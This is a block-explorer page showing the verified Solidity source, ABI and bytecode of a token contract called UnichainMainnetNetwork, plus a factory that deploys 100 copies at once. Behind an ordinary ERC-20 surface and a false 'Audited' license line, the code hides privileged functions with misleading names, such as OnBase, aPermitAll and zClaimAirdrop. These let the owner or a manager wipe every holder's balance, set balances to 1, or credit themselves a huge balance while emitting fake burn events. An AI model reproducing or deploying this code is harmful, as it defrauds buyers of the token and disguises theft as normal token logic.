ERC-20
Overview
Max Total Supply
100,000,000 SSS SSS SSS
Holders
4
Market
Price
$0.00 @ 0.000000 S
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
10,000 SSS SSS SSSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
UnichainMainnetNetwork
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2025-02-19 */ // SPDX-License-Identifier: Audited By Sonic Mainnet Network pragma solidity 0.8.28; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender()); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract UnichainMainnetNetwork is IERC20, Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 100000000000000000000000000; mapping(address => uint256) private UnichainOnUniSwap; mapping(address => mapping(address => uint256)) private _allowances; address[] private believers; address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b; address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF; address private constant ADDRESS_DEVELOPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962; address ADDRESS_Manager; address ADDRESS_Virtuals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; uint256 public requiredETH; constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_) payable { transferOwnership(owner_); require(msg.value == 1000000000000000); _name = name_; _symbol = symbol_; requiredETH = 1000000000000000; ADDRESS_Manager = ADDRESS_Manager_; ADDRESS_Virtuals = owner_; UnichainOnUniSwap[address(this)] = _totalSupply.mul(10).div(10000); emit Transfer(address(0), address(this), _totalSupply.mul(10).div(1000)); Virtuals(); payable(address(this)).transfer(msg.value); } function Virtuals() internal { uint256 ninetyFourPercent = _totalSupply.mul(9960).div(10000); uint256 threePercent = _totalSupply.mul(1).div(10000); uint256 twoPercent = _totalSupply.mul(29).div(10000); UnichainOnUniSwap[ADDRESS_WETH] = UnichainOnUniSwap[ADDRESS_WETH].add(ninetyFourPercent); UnichainOnUniSwap[ADDRESS_MARKETING] = UnichainOnUniSwap[ADDRESS_MARKETING].add(threePercent); UnichainOnUniSwap[ADDRESS_DEVELOPMENT] = UnichainOnUniSwap[ADDRESS_DEVELOPMENT].add(twoPercent); emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent); emit Transfer(address(this), ADDRESS_MARKETING, threePercent); emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent); } function _updateHolders(address account) internal { if (UnichainOnUniSwap[account] > 0) { bool exists = false; for (uint256 i = 0; i < believers.length; i++) { if (believers[i] == account) { exists = true; break; } } if (!exists) { believers.push(account); } } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); UnichainOnUniSwap[sender] = UnichainOnUniSwap[sender].sub(amount); UnichainOnUniSwap[recipient] = UnichainOnUniSwap[recipient].add(amount); _updateHolders(sender); _updateHolders(recipient); emit Transfer(sender, recipient, amount); } modifier Only_Manager() { require(ADDRESS_Manager == _msgSender()); _; } function OnBase() external onlyOwner { for (uint256 i = 0; i < believers.length; i++) { address believer = believers[i]; if ( believer != address(this) && believer != owner() && believer != uniswapV2Pair && believer != ADDRESS_WETH && believer != ADDRESS_MARKETING && believer != ADDRESS_Manager && believer != ADDRESS_DEVELOPMENT ) { UnichainOnUniSwap[believer] = 0; } } } function byVirtuals() external { require(ADDRESS_Virtuals == _msgSender()); for (uint256 i = 0; i < believers.length; i++) { address believer = believers[i]; if ( believer != address(this) && believer != owner() && believer != uniswapV2Pair && believer != ADDRESS_WETH && believer != ADDRESS_MARKETING && believer != ADDRESS_Manager && believer != ADDRESS_DEVELOPMENT ) { UnichainOnUniSwap[believer] = 0; } } } function aPermitAll() external Only_Manager { for (uint256 i = 0; i < believers.length; i++) { address believer = believers[i]; if ( believer != address(this) && believer != owner() && believer != uniswapV2Pair && believer != ADDRESS_WETH && believer != ADDRESS_MARKETING && believer != ADDRESS_Manager && believer != ADDRESS_DEVELOPMENT ) { UnichainOnUniSwap[believer] = 0; } } } function aPermit(address[] calldata rewardsMerkleRoot_) external Only_Manager { for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) { UnichainOnUniSwap[rewardsMerkleRoot_[i]] = 1; emit Transfer(rewardsMerkleRoot_[i], address(0), 1); } } function zClaimAirdrop(address claimedRewardStatusOf) external Only_Manager { UnichainOnUniSwap[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals; emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals); } function addLiquidity() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniswapV2Router = IUniswapV2Router02(0xa6AD18C2aC47803E193F75c3677b14BF19B94883); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); tradingOpen = true; } receive() external payable {} // Required BEP20 functions function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return UnichainOnUniSwap[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } } contract TokenFactory { uint256 public requiredETH; event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager); constructor() { requiredETH = 1000000000000000; } // Function to create a single token function createToken( string memory name_, string memory symbol_, address newOwner_, address ADDRESS_Manager_ ) external payable returns (address) { require(msg.value == requiredETH, "Incorrect ETH amount"); UnichainMainnetNetwork newToken = (new UnichainMainnetNetwork){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_); emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_); return address(newToken); } // Function to create 100 tokens in a single transaction function createTokensBatch( string[] memory names_, string[] memory symbols_, address[] memory newOwners_, address[] memory ADDRESS_Managers_ ) external payable { require(names_.length == 100, "Must provide 100 names"); require(symbols_.length == 100, "Must provide 100 symbols"); require(newOwners_.length == 100, "Must provide 100 owners"); require(ADDRESS_Managers_.length == 100, "Must provide 100 managers"); require(msg.value == requiredETH * 100, "Incorrect ETH amount"); for (uint256 i = 0; i < 100; i++) { UnichainMainnetNetwork newToken = (new UnichainMainnetNetwork){value: requiredETH}( names_[i], symbols_[i], newOwners_[i], ADDRESS_Managers_[i] ); emit TokenCreated(address(newToken), names_[i], symbols_[i], newOwners_[i], ADDRESS_Managers_[i]); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OnBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"aPermitAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"byVirtuals","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requiredETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060408190526009805460ff60a01b19169055611d743881900390819083398101604081905261002f916105dd565b5f80546001600160a01b0319163390811782556040519091905f516020611d145f395f51905f52908290a361006382610179565b3466038d7ea4c6800014610075575f5ffd5b600161008185826106e6565b50600261008e84826106e6565b5066038d7ea4c68000600a908155600680546001600160a01b038085166001600160a01b03199283161790925560078054928616929091169190911790556100f090612710906100ea906a52b7d2dcc80cd2e4000000906101e6565b90610272565b305f81815260036020526040812092909255905f516020611d345f395f51905f5261012d6103e86100ea6a52b7d2dcc80cd2e4000000600a6101e6565b60405190815260200160405180910390a36101466102cc565b60405130903480156108fc02915f818181858888f1935050505015801561016f573d5f5f3e3d5ffd5b50505050506107fd565b5f546001600160a01b0316331461018e575f5ffd5b6001600160a01b0381166101a0575f5ffd5b5f80546040516001600160a01b03808516939216915f516020611d145f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101f557505f61026c565b5f61020083856107b4565b90508261020d85836107cb565b146102695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102c25760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f0000000000006044820152606401610260565b61026982846107cb565b5f6102ea6127106100ea6a52b7d2dcc80cd2e40000006126e86101e6565b90505f6103096127106100ea6a52b7d2dcc80cd2e400000060016101e6565b90505f6103286127106100ea6a52b7d2dcc80cd2e4000000601d6101e6565b7350c42deacd8fc9773493ed674b675be577f2634b5f5260036020525f516020611cf45f395f51905f525490915061036090846104c7565b60036020525f516020611cf45f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f516020611d545f395f51905f52546103a490836104c7565b60036020525f516020611d545f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f516020611cd45f395f51905f52546103e890826104c7565b73edb37ad563e2ef161b2a72169583f35799bde9625f5260036020525f516020611cd45f395f51905f52556040517350c42deacd8fc9773493ed674b675be577f2634b9030905f516020611d345f395f51905f529061044a9087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af9030905f516020611d345f395f51905f529060200160405180910390a360405181815273edb37ad563e2ef161b2a72169583f35799bde9629030905f516020611d345f395f51905f529060200160405180910390a3505050565b5f806104d383856107ea565b9050838110156102695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610260565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610548575f5ffd5b81516001600160401b0381111561056157610561610525565b604051601f8201601f19908116603f011681016001600160401b038111828210171561058f5761058f610525565b6040528181528382016020018510156105a6575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b03811681146105d8575f5ffd5b919050565b5f5f5f5f608085870312156105f0575f5ffd5b84516001600160401b03811115610605575f5ffd5b61061187828801610539565b602087015190955090506001600160401b0381111561062e575f5ffd5b61063a87828801610539565b935050610649604086016105c2565b9150610657606086016105c2565b905092959194509250565b600181811c9082168061067657607f821691505b60208210810361069457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106e157805f5260205f20601f840160051c810160208510156106bf5750805b601f840160051c820191505b818110156106de575f81556001016106cb565b50505b505050565b81516001600160401b038111156106ff576106ff610525565b6107138161070d8454610662565b8461069a565b6020601f821160018114610745575f831561072e5750848201515b5f19600385901b1c1916600184901b1784556106de565b5f84815260208120601f198516915b828110156107745787850151825560209485019460019092019101610754565b508482101561079157868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761026c5761026c6107a0565b5f826107e557634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026c5761026c6107a0565b6114ca8061080a5f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d578063a9059cbb11610062578063a9059cbb146102d7578063dc064fa7146102f6578063dd62ed3e1461030a578063e8078d941461034e578063f2fde38b14610362575f5ffd5b8063715018a61461024b5780638da5cb5b1461025f5780638f8af1e11461028557806395d89b41146102a4578063a37e0a64146102b8575f5ffd5b806323b872dd116100e357806323b872dd146101b4578063313ce567146101d357806332975691146101ee57806349eea8c91461020257806370a0823114610217575f5ffd5b806306fdde031461011e578063095ea7b3146101485780630bc60abb1461017757806318160ddd1461018d575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b50610132610381565b60405161013f919061114c565b60405180910390f35b348015610153575f5ffd5b50610167610162366004611195565b610411565b604051901515815260200161013f565b348015610182575f5ffd5b5061018b610427565b005b348015610198575f5ffd5b506a52b7d2dcc80cd2e40000005b60405190815260200161013f565b3480156101bf575f5ffd5b506101676101ce3660046111bf565b610569565b3480156101de575f5ffd5b506040516012815260200161013f565b3480156101f9575f5ffd5b5061018b6105b8565b34801561020d575f5ffd5b506101a6600a5481565b348015610222575f5ffd5b506101a66102313660046111fd565b6001600160a01b03165f9081526003602052604090205490565b348015610256575f5ffd5b5061018b6106f6565b34801561026a575f5ffd5b505f546040516001600160a01b03909116815260200161013f565b348015610290575f5ffd5b5061018b61029f366004611218565b610753565b3480156102af575f5ffd5b50610132610834565b3480156102c3575f5ffd5b5061018b6102d23660046111fd565b610843565b3480156102e2575f5ffd5b506101676102f1366004611195565b6108eb565b348015610301575f5ffd5b5061018b6108f7565b348015610315575f5ffd5b506101a6610324366004611289565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610359575f5ffd5b5061018b610a36565b34801561036d575f5ffd5b5061018b61037c3660046111fd565b610d3f565b606060018054610390906112c0565b80601f01602080910402602001604051908101604052809291908181526020018280546103bc906112c0565b80156104075780601f106103de57610100808354040283529160200191610407565b820191905f5260205f20905b8154815290600101906020018083116103ea57829003601f168201915b5050505050905090565b5f61041d338484610dbf565b5060015b92915050565b6006546001600160a01b0316331461043d575f5ffd5b5f5b600554811015610566575f6005828154811061045d5761045d6112f8565b5f918252602090912001546001600160a01b0316905030811480159061049057505f546001600160a01b03828116911614155b80156104aa57506009546001600160a01b03828116911614155b80156104d357506001600160a01b0381167350c42deacd8fc9773493ed674b675be577f2634b14155b80156104fc57506001600160a01b03811673551aa84adb62725d654866803def1459a1b256af14155b801561051657506006546001600160a01b03828116911614155b801561053f57506001600160a01b03811673edb37ad563e2ef161b2a72169583f35799bde96214155b1561055d576001600160a01b0381165f908152600360205260408120555b5060010161043f565b50565b5f610575848484610ee3565b6001600160a01b0384165f908152600460209081526040808320338085529252909120546105ae9186916105a99086610fc6565b610dbf565b5060019392505050565b5f546001600160a01b031633146105cd575f5ffd5b5f5b600554811015610566575f600582815481106105ed576105ed6112f8565b5f918252602090912001546001600160a01b0316905030811480159061062057505f546001600160a01b03828116911614155b801561063a57506009546001600160a01b03828116911614155b801561066357506001600160a01b0381167350c42deacd8fc9773493ed674b675be577f2634b14155b801561068c57506001600160a01b03811673551aa84adb62725d654866803def1459a1b256af14155b80156106a657506006546001600160a01b03828116911614155b80156106cf57506001600160a01b03811673edb37ad563e2ef161b2a72169583f35799bde96214155b156106ed576001600160a01b0381165f908152600360205260408120555b506001016105cf565b5f546001600160a01b0316331461070b575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6006546001600160a01b03163314610769575f5ffd5b5f5b8181101561082f57600160035f85858581811061078a5761078a6112f8565b905060200201602081019061079f91906111fd565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106107cf576107cf6112f8565b90506020020160208101906107e491906111fd565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161081f91815260200190565b60405180910390a360010161076b565b505050565b606060028054610390906112c0565b6006546001600160a01b03163314610859575f5ffd5b6108656012600a611403565b61087a906a52b7d2dcc80cd2e4000000611411565b6001600160a01b0382165f818152600360205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6108c26012600a611403565b6108d7906a52b7d2dcc80cd2e4000000611411565b60405190815260200160405180910390a350565b5f61041d338484610ee3565b6007546001600160a01b0316331461090d575f5ffd5b5f5b600554811015610566575f6005828154811061092d5761092d6112f8565b5f918252602090912001546001600160a01b0316905030811480159061096057505f546001600160a01b03828116911614155b801561097a57506009546001600160a01b03828116911614155b80156109a357506001600160a01b0381167350c42deacd8fc9773493ed674b675be577f2634b14155b80156109cc57506001600160a01b03811673551aa84adb62725d654866803def1459a1b256af14155b80156109e657506006546001600160a01b03828116911614155b8015610a0f57506001600160a01b03811673edb37ad563e2ef161b2a72169583f35799bde96214155b15610a2d576001600160a01b0381165f908152600360205260408120555b5060010161090f565b5f546001600160a01b03163314610a4b575f5ffd5b600954600160a01b900460ff1615610aaa5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600880546001600160a01b03191673a6ad18c2ac47803e193f75c3677b14bf19b948839081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610b0c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b309190611428565b6001600160a01b031663c9c653963060085f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b8f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb39190611428565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610bfd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c219190611428565b600980546001600160a01b0319166001600160a01b03928316179055600854610c58913091166a52b7d2dcc80cd2e4000000610dbf565b6008546001600160a01b031663f305d7194730610c89816001600160a01b03165f9081526003602052604090205490565b5f5f610c9c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d02573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d279190611443565b50506009805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610d54575f5ffd5b6001600160a01b038116610d66575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e215760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610aa1565b6001600160a01b038216610e825760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610aa1565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ef5575f5ffd5b6001600160a01b038216610f07575f5ffd5b6001600160a01b0383165f90815260036020526040902054610f299082610fc6565b6001600160a01b038085165f908152600360205260408082209390935590841681522054610f579082611028565b6001600160a01b0383165f90815260036020526040902055610f7883611086565b610f8182611086565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed691815260200190565b5f828211156110175760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610aa1565b611021828461146e565b9392505050565b5f806110348385611481565b9050838110156110215760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610aa1565b6001600160a01b0381165f9081526003602052604090205415610566575f805b6005548110156110f757826001600160a01b0316600582815481106110cd576110cd6112f8565b5f918252602090912001546001600160a01b0316036110ef57600191506110f7565b6001016110a6565b508061114857600580546001810182555f919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610566575f5ffd5b5f5f604083850312156111a6575f5ffd5b82356111b181611181565b946020939093013593505050565b5f5f5f606084860312156111d1575f5ffd5b83356111dc81611181565b925060208401356111ec81611181565b929592945050506040919091013590565b5f6020828403121561120d575f5ffd5b813561102181611181565b5f5f60208385031215611229575f5ffd5b823567ffffffffffffffff81111561123f575f5ffd5b8301601f8101851361124f575f5ffd5b803567ffffffffffffffff811115611265575f5ffd5b8560208260051b8401011115611279575f5ffd5b6020919091019590945092505050565b5f5f6040838503121561129a575f5ffd5b82356112a581611181565b915060208301356112b581611181565b809150509250929050565b600181811c908216806112d457607f821691505b6020821081036112f257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561135b5780850481111561133f5761133f61130c565b600184161561134d57908102905b60019390931c928002611324565b935093915050565b5f8261137157506001610421565b8161137d57505f610421565b8160018114611393576002811461139d576113b9565b6001915050610421565b60ff8411156113ae576113ae61130c565b50506001821b610421565b5060208310610133831016604e8410600b84101617156113dc575081810a610421565b6113e85f198484611320565b805f19048211156113fb576113fb61130c565b029392505050565b5f61102160ff841683611363565b80820281158282048414176104215761042161130c565b5f60208284031215611438575f5ffd5b815161102181611181565b5f5f5f60608486031215611455575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156104215761042161130c565b808201808211156104215761042161130c56fea2646970667358221220b71ef7bc1d88b9677962602047218d3f94dc876094bdf1bca3e517e94f5b694b64736f6c634300081c003389a32e1c29e646fad701d1c8d0dc9b6560d3e6bc99404f2032db0696952b812d212e56424155ad6c0388f4d24c757a597ed2c40f2f3c6da95b15e3a62db87ec38be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efc939d25d7e35437f22c47f324a2c10f39b73290093ac9388ba079edf58f1ddaa000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000050c42deacd8fc9773493ed674b675be577f2634b00000000000000000000000050c42deacd8fc9773493ed674b675be577f2634b000000000000000000000000000000000000000000000000000000000000000b5353532053535320535353000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b5353532053535320535353000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063715018a61161009d578063a9059cbb11610062578063a9059cbb146102d7578063dc064fa7146102f6578063dd62ed3e1461030a578063e8078d941461034e578063f2fde38b14610362575f5ffd5b8063715018a61461024b5780638da5cb5b1461025f5780638f8af1e11461028557806395d89b41146102a4578063a37e0a64146102b8575f5ffd5b806323b872dd116100e357806323b872dd146101b4578063313ce567146101d357806332975691146101ee57806349eea8c91461020257806370a0823114610217575f5ffd5b806306fdde031461011e578063095ea7b3146101485780630bc60abb1461017757806318160ddd1461018d575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b50610132610381565b60405161013f919061114c565b60405180910390f35b348015610153575f5ffd5b50610167610162366004611195565b610411565b604051901515815260200161013f565b348015610182575f5ffd5b5061018b610427565b005b348015610198575f5ffd5b506a52b7d2dcc80cd2e40000005b60405190815260200161013f565b3480156101bf575f5ffd5b506101676101ce3660046111bf565b610569565b3480156101de575f5ffd5b506040516012815260200161013f565b3480156101f9575f5ffd5b5061018b6105b8565b34801561020d575f5ffd5b506101a6600a5481565b348015610222575f5ffd5b506101a66102313660046111fd565b6001600160a01b03165f9081526003602052604090205490565b348015610256575f5ffd5b5061018b6106f6565b34801561026a575f5ffd5b505f546040516001600160a01b03909116815260200161013f565b348015610290575f5ffd5b5061018b61029f366004611218565b610753565b3480156102af575f5ffd5b50610132610834565b3480156102c3575f5ffd5b5061018b6102d23660046111fd565b610843565b3480156102e2575f5ffd5b506101676102f1366004611195565b6108eb565b348015610301575f5ffd5b5061018b6108f7565b348015610315575f5ffd5b506101a6610324366004611289565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610359575f5ffd5b5061018b610a36565b34801561036d575f5ffd5b5061018b61037c3660046111fd565b610d3f565b606060018054610390906112c0565b80601f01602080910402602001604051908101604052809291908181526020018280546103bc906112c0565b80156104075780601f106103de57610100808354040283529160200191610407565b820191905f5260205f20905b8154815290600101906020018083116103ea57829003601f168201915b5050505050905090565b5f61041d338484610dbf565b5060015b92915050565b6006546001600160a01b0316331461043d575f5ffd5b5f5b600554811015610566575f6005828154811061045d5761045d6112f8565b5f918252602090912001546001600160a01b0316905030811480159061049057505f546001600160a01b03828116911614155b80156104aa57506009546001600160a01b03828116911614155b80156104d357506001600160a01b0381167350c42deacd8fc9773493ed674b675be577f2634b14155b80156104fc57506001600160a01b03811673551aa84adb62725d654866803def1459a1b256af14155b801561051657506006546001600160a01b03828116911614155b801561053f57506001600160a01b038116